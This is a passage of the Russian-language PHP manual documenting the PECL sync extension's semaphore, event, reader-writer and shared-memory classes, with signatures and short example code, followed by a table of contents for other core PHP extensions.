Если имя уже существует, оно должно быть доступно для открытия текущим пользователем, от имени которого запущен процесс, иначе будет выброшено исключение с бессмысленным сообщением об ошибке.

initialval

Начальное значение семафора. Это количество блокировок, которое можно получить.

autounlock

Указывает, следует ли автоматически разблокировать семафор при завершении скрипта PHP.

Внимание

Если объект - это: именованный семафор с autounlock со значением false, объект заблокирован и скрипт PHP завершается до того, как объект разблокируется, то базовый семафор окажется в несогласованном состоянии.

Возвращаемые значения

Новый объект SyncSemaphore.

Ошибки

Если семафор не может быть создан или открыт, выбрасывается исключение.

Примеры

Пример #1 Пример использования SyncSemaphore::__construct()

<?php
$semaphore = new SyncSemaphore("LimitedResource_2clients", 2);

if (!$semaphore->lock(3000))
{
echo "Невозможно заблокировать семафор.";

exit();
}

/* ... */

$semaphore->unlock();
?>

Смотрите также

  • SyncSemaphore::lock() - Уменьшает счёт семафора или ждёт
  • SyncSemaphore::unlock() - Увеличивает счёт семафора

User Contributed Notes

There are no user contributed notes for this page.


Уменьшает счёт семафора или ждёт

  • « SyncSemaphore::__construct
  • SyncSemaphore::unlock »
  • PHP Manual
  • SyncSemaphore
  • Уменьшает счёт семафора или ждёт

SyncSemaphore::lock

(PECL sync >= 1.0.0)

SyncSemaphore::lock — Уменьшает счёт семафора или ждёт

Описание

public SyncSemaphore::lock(int $wait = -1): bool

Уменьшает счётчик объекта SyncSemaphore или ждёт, пока семафор не станет отличным от нуля.

Список параметров

wait

Количество миллисекунд ожидания семафора. Значение -1 бесконечно.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SyncSemaphore::lock()

<?php
$semaphore = new SyncSemaphore("LimitedResource_2clients", 2);

if (!$semaphore->lock(3000))
{
echo "Невозможно заблокировать семафор.";

exit();
}

/* ... */

$semaphore->unlock();
?>

Смотрите также

  • SyncSemaphore::unlock() - Увеличивает счёт семафора

User Contributed Notes

There are no user contributed notes for this page.


Увеличивает счёт семафора

  • « SyncSemaphore::lock
  • SyncEvent »
  • PHP Manual
  • SyncSemaphore
  • Увеличивает счёт семафора

SyncSemaphore::unlock

(PECL sync >= 1.0.0)

SyncSemaphore::unlock — Увеличивает счёт семафора

Описание

public SyncSemaphore::unlock(int &$prevcount = ?): bool

Увеличивает счёт объекта SyncSemaphore.

Список параметров

prevcount

Возвращает предыдущее значение счётчика семафора.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SyncSemaphore::unlock()

<?php
$semaphore = new SyncSemaphore("LimitedResource_2clients", 2);

if (!$semaphore->lock(3000))
{
echo "Невозможно заблокировать семафор.";

exit();
}

/* ... */

$semaphore->unlock();
?>

Смотрите также

  • SyncSemaphore::lock() - Уменьшает счёт семафора или ждёт

User Contributed Notes

There are no user contributed notes for this page.


Класс SyncEvent

(PECL sync >= 1.0.0)

Введение

Кроссплатформенная, нативная реализация именованных и безымянных объектов событий. Поддерживаются как автоматические, так и ручные объекты событий.

Объект события без опроса ожидает запуска/установки объекта. Один экземпляр ожидает объекта события, а другой запускает/устанавливает событие. Объекты событий полезны там, где в противном случае длительный процесс мог бы опросить ресурс (например, проверить, нужно ли обрабатывать загруженные данные).

Обзор классов

class SyncEvent {
/* Методы */
public __construct(string $name = ?, bool $manual = false, bool $prefire = false)
public fire(): bool
public reset(): bool
public wait(int $wait = -1): bool
}

Содержание

  • SyncEvent::__construct — Создаёт новый объект SyncEvent
  • SyncEvent::fire — Запускает/устанавливает событие
  • SyncEvent::reset — Сбрасывает ручное событие
  • SyncEvent::wait — Ожидает запуска/установки события

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект SyncEvent

  • « SyncEvent
  • SyncEvent::fire »
  • PHP Manual
  • SyncEvent
  • Создаёт новый объект SyncEvent

SyncEvent::__construct

(PECL sync >= 1.0.0)

SyncEvent::__construct — Создаёт новый объект SyncEvent

Описание

public SyncEvent::__construct(string $name = ?, bool $manual = false, bool $prefire = false)

Создаёт именованный или безымянный объект события.

Список параметров

name

Имя события, если это именованный объект события.

Замечание:

Если имя уже существует, оно должно быть доступно для открытия текущим пользователем, от имени которого запущен процесс, иначе будет выброшено исключение с бессмысленным сообщением об ошибке.

manual

Определяет, нужно ли сбрасывать объект события вручную.

Замечание:

Объекты событий со сбросом вручную позволяют выполнять все ожидающие процессы, пока объект не будет сброшен.

prefire

Определяет, следует ли предварительно активировать (сигнализировать) объект события.

Замечание:

Имеет значение только в том случае, если вызывающий процесс/поток первым создаёт объект.

Возвращаемые значения

Новый объект SyncEvent.

Ошибки

Если объект события не может быть создан или открыт, выбрасывается исключение.

Примеры

Пример #1 Пример использования SyncEvent::__construct()

<?php
// В веб-приложении:
$event = new SyncEvent("GetAppReport");
$event->fire();

// В задании cron:
$event = new SyncEvent("GetAppReport");
$event->wait();
?>

Список изменений

Версия | Описание
PECL sync 1.1.0 | Добавлен параметр prefire.

Смотрите также

  • SyncEvent::fire() - Запускает/устанавливает событие
  • SyncEvent::reset() - Сбрасывает ручное событие
  • SyncEvent::wait() - Ожидает запуска/установки события

User Contributed Notes

There are no user contributed notes for this page.


Запускает/устанавливает событие

  • « SyncEvent::__construct
  • SyncEvent::reset »
  • PHP Manual
  • SyncEvent
  • Запускает/устанавливает событие

SyncEvent::fire

(PECL sync >= 1.0.0)

SyncEvent::fire — Запускает/устанавливает событие

Описание

public SyncEvent::fire(): bool

Запускает/устанавливает объект SyncEvent. Позволяет проходить нескольким потокам, которые ожидают, если объект события был создан с параметром manual равным true.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SyncEvent::fire()

<?php
// В веб-приложении:
$event = new SyncEvent("GetAppReport");
$event->fire();

// В задании cron:
$event = new SyncEvent("GetAppReport");
$event->wait();
?>

Смотрите также

  • SyncEvent::reset() - Сбрасывает ручное событие
  • SyncEvent::wait() - Ожидает запуска/установки события

User Contributed Notes

There are no user contributed notes for this page.


Сбрасывает ручное событие

  • « SyncEvent::fire
  • SyncEvent::wait »
  • PHP Manual
  • SyncEvent
  • Сбрасывает ручное событие

SyncEvent::reset

(PECL sync >= 1.0.0)

SyncEvent::reset — Сбрасывает ручное событие

Описание

public SyncEvent::reset(): bool

Сбрасывает объект SyncEvent, который был запущен/установлен. Действительно только для объектов событий со сбросом вручную.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 SyncEvent::reset() example

<?php
// В веб-приложении:
$event = new SyncEvent("DemoApplication", true);
$event->wait();

// В задании cron:
$event = new SyncEvent("DemoApplication", true);
$event->reset();
/* ... Выполнение некоторых задач по обслуживанию ... */
$event->fire();
?>

Смотрите также

  • SyncEvent::fire() - Запускает/устанавливает событие
  • SyncEvent::reset()
  • SyncEvent::wait() - Ожидает запуска/установки события

User Contributed Notes

There are no user contributed notes for this page.


Ожидает запуска/установки события

  • « SyncEvent::reset
  • SyncReaderWriter »
  • PHP Manual
  • SyncEvent
  • Ожидает запуска/установки события

SyncEvent::wait

(PECL sync >= 1.0.0)

SyncEvent::wait — Ожидает запуска/установки события

Описание

public SyncEvent::wait(int $wait = -1): bool

Ожидает запуска объекта SyncEvent.

Список параметров

wait

Количество миллисекунд ожидания запуска события. Значение -1 бесконечно.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SyncEvent::wait()

<?php
// В веб-приложении:
$event = new SyncEvent("GetAppReport");
$event->fire();

// В задании cron:
$event = new SyncEvent("GetAppReport");
$event->wait();
?>

Смотрите также

  • SyncEvent::fire() - Запускает/устанавливает событие

User Contributed Notes

There are no user contributed notes for this page.


Класс SyncReaderWriter

(PECL sync >= 1.0.0)

Введение

Кроссплатформенная, нативная реализация именованных и безымянных объектов чтения-записи.

Объект читатель-писатель позволяет многим читателям или одному писателю получить доступ к ресурсу. Это эффективное решение для управления ресурсами, где доступ будет главным образом только для чтения, но иногда необходим эксклюзивный доступ для записи.

Обзор классов

class SyncReaderWriter {
/* Методы */
public __construct(string $name = ?, int $autounlock = 1)
public readlock(int $wait = -1): bool
public readunlock(): bool
public writelock(int $wait = -1): bool
public writeunlock(): bool
}

Содержание

  • SyncReaderWriter::__construct — Создаёт новый объект SyncReaderWriter
  • SyncReaderWriter::readlock — Ожидает блокировки чтения
  • SyncReaderWriter::readunlock — Снимает блокировку чтения
  • SyncReaderWriter::writelock — Ожидает эксклюзивной блокировки записи
  • SyncReaderWriter::writeunlock — Снимает блокировку записи

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект SyncReaderWriter

  • « SyncReaderWriter
  • SyncReaderWriter::readlock »
  • PHP Manual
  • SyncReaderWriter
  • Создаёт новый объект SyncReaderWriter

SyncReaderWriter::__construct

(PECL sync >= 1.0.0)

SyncReaderWriter::__construct — Создаёт новый объект SyncReaderWriter

Описание

public SyncReaderWriter::__construct(string $name = ?, int $autounlock = 1)

Создаёт именованный или безымянный объект чтения-записи.

Список параметров

name

Имя средства чтения-записи, если это именованный объект чтения-записи.

Замечание:

Если имя уже существует, оно должно быть доступно для открытия текущим пользователем, от имени которого запущен процесс, иначе будет выброшено исключение с бессмысленным сообщением об ошибке.

Замечание: В Windows параметр name не должен содержать обратных слешей.

autounlock

Указывает, следует ли автоматически разблокировать средство чтения-записи при завершении скрипта PHP.

Внимание

Если объект: Именованное средство чтения-записи с автоматической блокировкой FALSE, объект заблокирован для чтения или записи, и скрипт PHP завершается до того, как объект будет разблокирован, тогда базовые объекты окажутся в несогласованном состоянии.

Возвращаемые значения

Новый объект SyncReaderWriter.

Ошибки

Исключение выбрасывается, если средство чтения-записи не может быть создано или открыто.

Примеры

Пример #1 Пример использования SyncReaderWriter::__construct()

<?php
$readwrite = new SyncReaderWriter("FileCacheLock");
$readwrite->readlock();
/* ... */
$readwrite->readunlock();

$readwrite->writelock();
/* ... */
$readwrite->writeunlock();
?>

Смотрите также

  • SyncReaderWriter::readlock() - Ожидает блокировки чтения
  • SyncReaderWriter::readunlock() - Снимает блокировку чтения
  • SyncReaderWriter::writelock() - Ожидает эксклюзивной блокировки записи
  • SyncReaderWriter::writeunlock() - Снимает блокировку записи

User Contributed Notes

There are no user contributed notes for this page.


Ожидает блокировки чтения

  • « SyncReaderWriter::__construct
  • SyncReaderWriter::readunlock »
  • PHP Manual
  • SyncReaderWriter
  • Ожидает блокировки чтения

SyncReaderWriter::readlock

(PECL sync >= 1.0.0)

SyncReaderWriter::readlock — Ожидает блокировки чтения

Описание

public SyncReaderWriter::readlock(int $wait = -1): bool

Получает блокировку чтения объекта SyncReaderWriter.

Список параметров

wait

Количество миллисекунд ожидания блокировки. Значение -1 бесконечно.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SyncReaderWriter::readlock()

<?php
$readwrite = new SyncReaderWriter("FileCacheLock");
$readwrite->readlock();
/* ... */
$readwrite->readunlock();
?>

Смотрите также

  • SyncReaderWriter::readunlock() - Снимает блокировку чтения

User Contributed Notes

There are no user contributed notes for this page.


Снимает блокировку чтения

  • « SyncReaderWriter::readlock
  • SyncReaderWriter::writelock »
  • PHP Manual
  • SyncReaderWriter
  • Снимает блокировку чтения

SyncReaderWriter::readunlock

(PECL sync >= 1.0.0)

SyncReaderWriter::readunlock — Снимает блокировку чтения

Описание

public SyncReaderWriter::readunlock(): bool

Снимает блокировку чтения объекта SyncReaderWriter.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SyncReaderWriter::readunlock()

<?php
$readwrite = new SyncReaderWriter("FileCacheLock");
$readwrite->readlock();
/* ... */
$readwrite->readunlock();
?>

Смотрите также

  • SyncReaderWriter::readlock() - Ожидает блокировки чтения

User Contributed Notes

There are no user contributed notes for this page.


Ожидает эксклюзивной блокировки записи

  • « SyncReaderWriter::readunlock
  • SyncReaderWriter::writeunlock »
  • PHP Manual
  • SyncReaderWriter
  • Ожидает эксклюзивной блокировки записи

SyncReaderWriter::writelock

(PECL sync >= 1.0.0)

SyncReaderWriter::writelock — Ожидает эксклюзивной блокировки записи

Описание

public SyncReaderWriter::writelock(int $wait = -1): bool

Получает эксклюзивную блокировку записи для объекта SyncReaderWriter.

Список параметров

wait

Количество миллисекунд ожидания блокировки. Значение -1 бесконечно.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SyncReaderWriter::writelock()

<?php
$readwrite = new SyncReaderWriter("FileCacheLock");
$readwrite->writelock();
/* ... */
$readwrite->writeunlock();
?>

Смотрите также

  • SyncReaderWriter::writeunlock() - Снимает блокировку записи

User Contributed Notes

There are no user contributed notes for this page.


Снимает блокировку записи

  • « SyncReaderWriter::writelock
  • SyncSharedMemory »
  • PHP Manual
  • SyncReaderWriter
  • Снимает блокировку записи

SyncReaderWriter::writeunlock

(PECL sync >= 1.0.0)

SyncReaderWriter::writeunlock — Снимает блокировку записи

Описание

public SyncReaderWriter::writeunlock(): bool

Снимает блокировку записи объекта SyncReaderWriter.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SyncReaderWriter::writeunlock()

<?php
$readwrite = new SyncReaderWriter("FileCacheLock");
$readwrite->writelock();
/* ... */
$readwrite->writeunlock();
?>

Смотрите также

  • SyncReaderWriter::writelock() - Ожидает эксклюзивной блокировки записи

User Contributed Notes

There are no user contributed notes for this page.


Класс SyncSharedMemory

(PECL sync >= 1.1.0)

Введение

Кроссплатформенная, нативная, согласованная реализация именованных объектов общей памяти.

Совместно используемая память позволяет двум отдельным процессам обмениваться данными без необходимости в сложных каналах или сокетах. Существует несколько реализаций с общей памятью для PHP. Именованная общая память является альтернативой.

Объекты синхронизации (например, SyncMutex) всё ещё необходимы для защиты большинства видов использования общей памяти.

Обзор классов

class SyncSharedMemory {
/* Методы */
public __construct(string $name, int $size)
public first(): bool
public read(int $start = 0, int $length = ?)
public size(): int
public write(string $string = ?, int $start = 0)
}

Содержание

  • SyncSharedMemory::__construct — Создаёт новый объект SyncSharedMemory
  • SyncSharedMemory::first — Проверяет, является ли объект первым общесистемным экземпляром именованной разделяемой памяти
  • SyncSharedMemory::read — Копирует данные из именованной разделяемой памяти
  • SyncSharedMemory::size — Возвращает размер именованной разделяемой памяти
  • SyncSharedMemory::write — Копирует данные в именованную разделяемую память

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект SyncSharedMemory

  • « SyncSharedMemory
  • SyncSharedMemory::first »
  • PHP Manual
  • SyncSharedMemory
  • Создаёт новый объект SyncSharedMemory

SyncSharedMemory::__construct

(PECL sync >= 1.1.0)

SyncSharedMemory::__construct — Создаёт новый объект SyncSharedMemory

Описание

public SyncSharedMemory::__construct(string $name, int $size)

Создаёт именованный объект разделяемой памяти.

Список параметров

name

Имя объекта разделяемой памяти.

Замечание:

Если имя уже существует, оно должно быть доступно для открытия текущим пользователем, от имени которого запущен процесс, иначе будет выброшено исключение с бессмысленным сообщением об ошибке.

size

Размер в байтах разделяемой памяти, которую необходимо зарезервировать.

Замечание:

Объем памяти не может быть изменён позже. Запросите заранее достаточно места для хранения.

Возвращаемые значения

Новый объект SyncSharedMemory.

Ошибки

Выбрасывается исключение, если объект разделяемой памяти не может быть создан или открыт.

Примеры

Пример #1 Пример использования SyncSharedMemory::__construct()

<?php
// Возможно, вам потребуется защитить разделяемую память с другими объектами синхронизации.
// Разделяемая память исчезает, когда исчезает последняя ссылка на неё.
$mem = new SyncSharedMemory("AppReportName", 1024);
if ($mem->first())
{
// Выполните здесь первоначальную инициализацию.
}

$result = $mem->write(json_encode(array("name" => "my_report.txt")));
?>

Смотрите также

  • SyncSharedMemory::first() - Проверяет, является ли объект первым общесистемным экземпляром именованной разделяемой памяти
  • SyncSharedMemory::size() - Возвращает размер именованной разделяемой памяти
  • SyncSharedMemory::write() - Копирует данные в именованную разделяемую память
  • SyncSharedMemory::read() - Копирует данные из именованной разделяемой памяти

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли объект первым общесистемным экземпляром именованной разделяемой памяти

  • « SyncSharedMemory::__construct
  • SyncSharedMemory::read »
  • PHP Manual
  • SyncSharedMemory
  • Проверяет, является ли объект первым общесистемным экземпляром именованной разделяемой памяти

SyncSharedMemory::first

(PECL sync >= 1.1.0)

SyncSharedMemory::first — Проверяет, является ли объект первым общесистемным экземпляром именованной разделяемой памяти

Описание

public SyncSharedMemory::first(): bool

Получает общесистемный статус первого экземпляра объекта SyncSharedMemory.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SyncSharedMemory::first()

<?php
$mem = new SyncSharedMemory("AppReportName", 1024);
if ($mem->first())
{
// Do first time initialization work here.
}

var_dump($mem->first());

$mem2 = new SyncSharedMemory("AppReportName", 1024);

var_dump($mem2->first());
?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(false)

Смотрите также

  • SyncSharedMemory::write() - Копирует данные в именованную разделяемую память
  • SyncSharedMemory::read() - Копирует данные из именованной разделяемой памяти

User Contributed Notes

There are no user contributed notes for this page.


Копирует данные из именованной разделяемой памяти

  • « SyncSharedMemory::first
  • SyncSharedMemory::size »
  • PHP Manual
  • SyncSharedMemory
  • Копирует данные из именованной разделяемой памяти

SyncSharedMemory::read

(PECL sync >= 1.1.0)

SyncSharedMemory::read — Копирует данные из именованной разделяемой памяти

Описание

public SyncSharedMemory::read(int $start = 0, int $length = ?)

Копирует данные из именованной разделяемой памяти.

Список параметров

start

Начало/смещение в байтах для начала чтения.

Замечание:

Если значение отрицательное, начальная позиция будет начинаться с указанного количества байтов с конца сегмента разделяемой памяти.

length

Количество байтов для чтения.

Замечание:

Если не указано иное, чтение остановится в конце сегмента разделяемой памяти.

Если значение отрицательное, чтение остановится на указанном количестве байтов с конца сегмента разделяемой памяти.

Возвращаемые значения

Строка, содержащая данные, считанные из разделяемой памяти.

Примеры

Пример #1 Пример использования SyncSharedMemory::__construct()

<?php
// Возможно, вам потребуется защитить разделяемую память с другими объектами синхронизации.
// Разделяемая память исчезает, когда исчезает последняя ссылка на неё.
$mem = new SyncSharedMemory("AppReportName", 1024);
if ($mem->first())
{
// Здесь можно выполнить первоначальную инициализацию.
}

$result = $mem->write("report.txt");

$result = $mem->read(3, -4);
var_dump($result);
?>

Результатом выполнения данного примера будет что-то подобное:

string(3) "ort"

Смотрите также

  • SyncSharedMemory::__construct() - Создаёт новый объект SyncSharedMemory
  • SyncSharedMemory::first() - Проверяет, является ли объект первым общесистемным экземпляром именованной разделяемой памяти
  • SyncSharedMemory::write() - Копирует данные в именованную разделяемую память
  • SyncSharedMemory::read()

User Contributed Notes

There are no user contributed notes for this page.


Возвращает размер именованной разделяемой памяти

  • « SyncSharedMemory::read
  • SyncSharedMemory::write »
  • PHP Manual
  • SyncSharedMemory
  • Возвращает размер именованной разделяемой памяти

SyncSharedMemory::size

(PECL sync >= 1.1.0)

SyncSharedMemory::size — Возвращает размер именованной разделяемой памяти

Описание

public SyncSharedMemory::size(): int

Извлекает размер разделяемой памяти объекта SyncSharedMemory.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Целое число, содержащее размер разделяемой памяти. Это будет тот же размер, который был передан конструктору.

Примеры

Пример #1 Пример использования SyncSharedMemory::size()

<?php
$mem = new SyncSharedMemory("AppReportName", 1024);
var_dump($mem->size());
?>

Результатом выполнения данного примера будет что-то подобное:

int(1024)

Смотрите также

  • SyncSharedMemory::__construct() - Создаёт новый объект SyncSharedMemory
  • SyncSharedMemory::write() - Копирует данные в именованную разделяемую память
  • SyncSharedMemory::read() - Копирует данные из именованной разделяемой памяти

User Contributed Notes

There are no user contributed notes for this page.


Копирует данные в именованную разделяемую память

  • « SyncSharedMemory::size
  • Другие базовые модули »
  • PHP Manual
  • SyncSharedMemory
  • Копирует данные в именованную разделяемую память

SyncSharedMemory::write

(PECL sync >= 1.1.0)

SyncSharedMemory::write — Копирует данные в именованную разделяемую память

Описание

public SyncSharedMemory::write(string $string = ?, int $start = 0)

Копирует данные в именованную разделяемую память.

Список параметров

string

Данные для записи в разделяемую память.

Замечание:

Если размер данных превышает размер разделяемой памяти, количество записанных возвращаемых байтов будет меньше длины входных данных.

start

Начало/смещение в байтах для начала записи.

Замечание:

Если значение отрицательное, начальная позиция будет начинаться с указанного количества байтов с конца сегмента разделяемой памяти.

Возвращаемые значения

Целое число, содержащее количество байтов, записанных в разделяемую память.

Примеры

Пример #1 Пример использования SyncSharedMemory::write()

<?php
// Возможно, вам потребуется защитить разделяемую память с другими объектами синхронизации.
// Разделяемая память исчезает, когда исчезает последняя ссылка на неё.
$mem = new SyncSharedMemory("AppReportName", 1024);
if ($mem->first())
{
// Здесь можно выполнить первоначальную инициализацию.
}

$result = $mem->write("report.txt");
var_dump($result);

$result = $mem->write("report.txt", -3);
var_dump($result);
?>

Результатом выполнения данного примера будет что-то подобное:

int(10)
int(3)

Смотрите также

  • SyncSharedMemory::__construct() - Создаёт новый объект SyncSharedMemory
  • SyncSharedMemory::first() - Проверяет, является ли объект первым общесистемным экземпляром именованной разделяемой памяти
  • SyncSharedMemory::write()
  • SyncSharedMemory::read() - Копирует данные из именованной разделяемой памяти

User Contributed Notes

There are no user contributed notes for this page.


Другие базовые модули

  • GeoIP — Geo IP Location
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции GeoIP
  • FANN — Быстрая искусственная нейронная сеть (Fast Artificial Neural Network или FANN)
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции Fann
    • FANNConnection — Класс FANNConnection
  • Igbinary
    • Введение
    • Установка и настройка
    • Функции Igbinary
  • JSON — JavaScript Object Notation
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • JsonException — Класс JsonException
    • JsonSerializable — Интерфейс JsonSerializable
    • Функции JSON
  • Simdjson
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции Simdjson
    • SimdJsonException — Класс SimdJsonException
    • SimdJsonValueError — Класс SimdJsonValueError
  • Lua
    • Введение
    • Установка и настройка
    • Lua — Класс Lua
    • LuaClosure — Класс LuaClosure
  • LuaSandbox
    • Введение
    • Установка и настройка
    • Отличия от стандартного Lua
    • Примеры
    • LuaSandbox — Класс LuaSandbox
    • LuaSandboxFunction — Класс LuaSandboxFunction
    • LuaSandboxError — Класс LuaSandboxError
    • LuaSandboxErrorError — Класс LuaSandboxErrorError
    • LuaSandboxFatalError — Класс LuaSandboxFatalError
    • LuaSandboxMemoryError — Класс LuaSandboxMemoryError
    • LuaSandboxRuntimeError — Класс LuaSandboxRuntimeError
    • LuaSandboxSyntaxError — Класс LuaSandboxSyntaxError
    • LuaSandboxTimeoutError — Класс LuaSandboxTimeoutError
  • Misc. — Разные функции
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Разные функции
    • Список изменений
  • Random — Генераторы случайных чисел и функции, связанные со случайностью
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции Random
    • Random\Randomizer — Класс Random\Randomizer
    • Random\Engine — Интерфейс Random\Engine
    • Random\CryptoSafeEngine — Интерфейс Random\CryptoSafeEngine
    • Random\Engine\Secure — Класс Random\Engine\Secure
    • Random\Engine\Mt19937 — Класс Random\Engine\Mt19937
    • Random\Engine\PcgOneseq128XslRr64 — Класс Random\Engine\PcgOneseq128XslRr64
    • Random\Engine\Xoshiro256StarStar — Класс Random\Engine\Xoshiro256StarStar
    • Random\RandomError — Класс Random\RandomError
    • Random\BrokenRandomEngineError — Класс Random\BrokenRandomEngineError
    • Random\RandomException — Класс Random\RandomException
  • Seaslog
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции Seaslog
    • SeasLog — Класс SeasLog
  • SPL — Стандартная библиотека PHP (SPL)
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Структуры данных
    • Итераторы
    • Интерфейсы
    • Исключения
    • Функции SPL
    • Обработка файлов
    • Различные классы и интерфейсы
  • Потоки
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Потоковые фильтры
    • Контексты потоков
    • Ошибки потока
    • Примеры
    • php_user_filter — Класс php_user_filter
    • streamWrapper — Класс streamWrapper
    • Функции для работы с потоками
  • Swoole
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции Swoole
    • Swoole\Async — Класс Swoole\Async
    • Swoole\Atomic — Класс Swoole\Atomic
    • Swoole\Buffer — Класс Swoole\Buffer
    • Swoole\Channel — Класс Swoole\Channel
    • Swoole\Client — Класс Swoole\Client
    • Swoole\Connection\Iterator — Класс Swoole\Connection\Iterator
    • Swoole\Coroutine — Класс Swoole\Coroutine
    • Swoole\Event — Класс Swoole\Event
    • Swoole\Exception — Класс Swoole\Exception
    • Swoole\Http\Client — Класс Swoole\Http\Client
    • Swoole\Http\Request — Класс Swoole\Http\Request
    • Swoole\Http\Response — Класс Swoole\Http\Response
    • Swoole\Http\Server — Класс Swoole\Http\Server
    • Swoole\Lock — Класс Swoole\Lock
    • Swoole\Mmap — Класс Swoole\Mmap
    • Swoole\MySQL — Класс Swoole\MySQL
    • Swoole\MySQL\Exception — Класс Swoole\MySQL\Exception
    • Swoole\Process — Класс Swoole\Process
    • Swoole\Redis\Server — Класс Swoole\Redis\Server
    • Swoole\Serialize — Класс Swoole\Serialize
    • Swoole\Server — Класс Swoole\Server
    • Swoole\Table — Класс Swoole\Table
    • Swoole\Timer — Класс Swoole\Timer
    • Swoole\WebSocket\Frame — Класс Swoole\WebSocket\Frame
    • Swoole\WebSocket\Server — Класс Swoole\WebSocket\Server
  • Tidy
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • tidy — Класс tidy
    • tidyNode — Класс tidyNode
    • Tidy
  • Лексер (Tokenizer)
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • PhpToken — Класс PhpToken
    • Функции PHP-лексера (tokenizer)
  • URL
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции URL
  • V8js — Интеграция V8 Javascript Engine
    • Введение
    • Установка и настройка
    • Примеры
    • V8Js — Класс V8Js
    • V8JsException — Класс V8JsException
  • Yaml — Сериализация данных YAML
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Callback-функции
    • Функции Yaml
  • Yaf — Yet Another Framework
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Конфигурация приложения
    • Yaf_Application — Класс Yaf_Application
    • Yaf_Bootstrap_Abstract — Класс Yaf_Bootstrap_Abstract
    • Yaf_Dispatcher — Класс Yaf_Dispatcher
    • Yaf_Config_Abstract — Класс Yaf_Config_Abstract
    • Yaf_Config_Ini — Класс Yaf_Config_Ini
    • Yaf_Config_Simple — Класс Yaf_Config_Simple
    • Yaf_Controller_Abstract — Класс Yaf_Controller_Abstract
    • Yaf_Action_Abstract — Класс Yaf_Action_Abstract
    • Yaf_View_Interface — Класс Yaf_View_Interface
    • Yaf_View_Simple — Класс Yaf_View_Simple
    • Yaf_Loader — Класс Yaf_Loader
    • Yaf_Plugin_Abstract — Класс Yaf_Plugin_Abstract
    • Yaf_Registry — Класс Yaf_Registry
    • Yaf_Request_Abstract — Класс Yaf_Request_Abstract
    • Yaf_Request_Http — Класс Yaf_Request_Http
    • Yaf_Request_Simple — Класс Yaf_Request_Simple
    • Yaf_Response_Abstract — Класс Yaf_Response_Abstract
    • Yaf_Route_Interface — Класс Yaf_Route_Interface
    • Yaf_Route_Map — Класс Yaf_Route_Map
    • Yaf_Route_Regex — Класс Yaf_Route_Regex
    • Yaf_Route_Rewrite — Класс Yaf_Route_Rewrite
    • Yaf_Router — Класс Yaf_Router
    • Yaf_Route_Simple — Класс Yaf_Route_Simple
    • Yaf_Route_Static — Класс Yaf_Route_Static
    • Yaf_Route_Supervar — Класс Yaf_Route_Supervar
    • Yaf_Session — Класс Yaf_Session
    • Yaf_Exception — Класс Yaf_Exception
    • Yaf_Exception_TypeError — Класс Yaf_Exception_TypeError
    • Yaf_Exception_StartupError — Класс Yaf_Exception_StartupError
    • Yaf_Exception_DispatchFailed — Класс Yaf_Exception_DispatchFailed
    • Yaf_Exception_RouterFailed — Класс Yaf_Exception_RouterFailed
    • Yaf_Exception_LoadFailed — Класс Yaf_Exception_LoadFailed
    • Yaf_Exception_LoadFailed_Module — Класс Yaf_Exception_LoadFailed_Module
    • Yaf_Exception_LoadFailed_Controller — Класс Yaf_Exception_LoadFailed_Controller
    • Yaf_Exception_LoadFailed_Action — Класс Yaf_Exception_LoadFailed_Action
    • Yaf_Exception_LoadFailed_View — Класс Yaf_Exception_LoadFailed_View
  • Yaconf
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Yaconf — Класс Yaconf
  • Taint
    • Введение
    • Установка и настройка
    • Дополнительные подробности
    • Функции Taint
  • Структуры данных
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Ds\Collection — Интерфейс Collection
    • Ds\Hashable — Интерфейс Hashable
    • Ds\Sequence — Интерфейс Sequence
    • Ds\Vector — Класс Vector
    • Ds\Deque — Класс Deque
    • Ds\Map — Класс Map
    • Ds\Pair — Класс Pair
    • Ds\Set — Класс Set
    • Ds\Stack — Класс Stack
    • Ds\Queue — Класс Queue
    • Ds\PriorityQueue — Класс PriorityQueue
  • var_representation
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции var_representation

User Contributed Notes

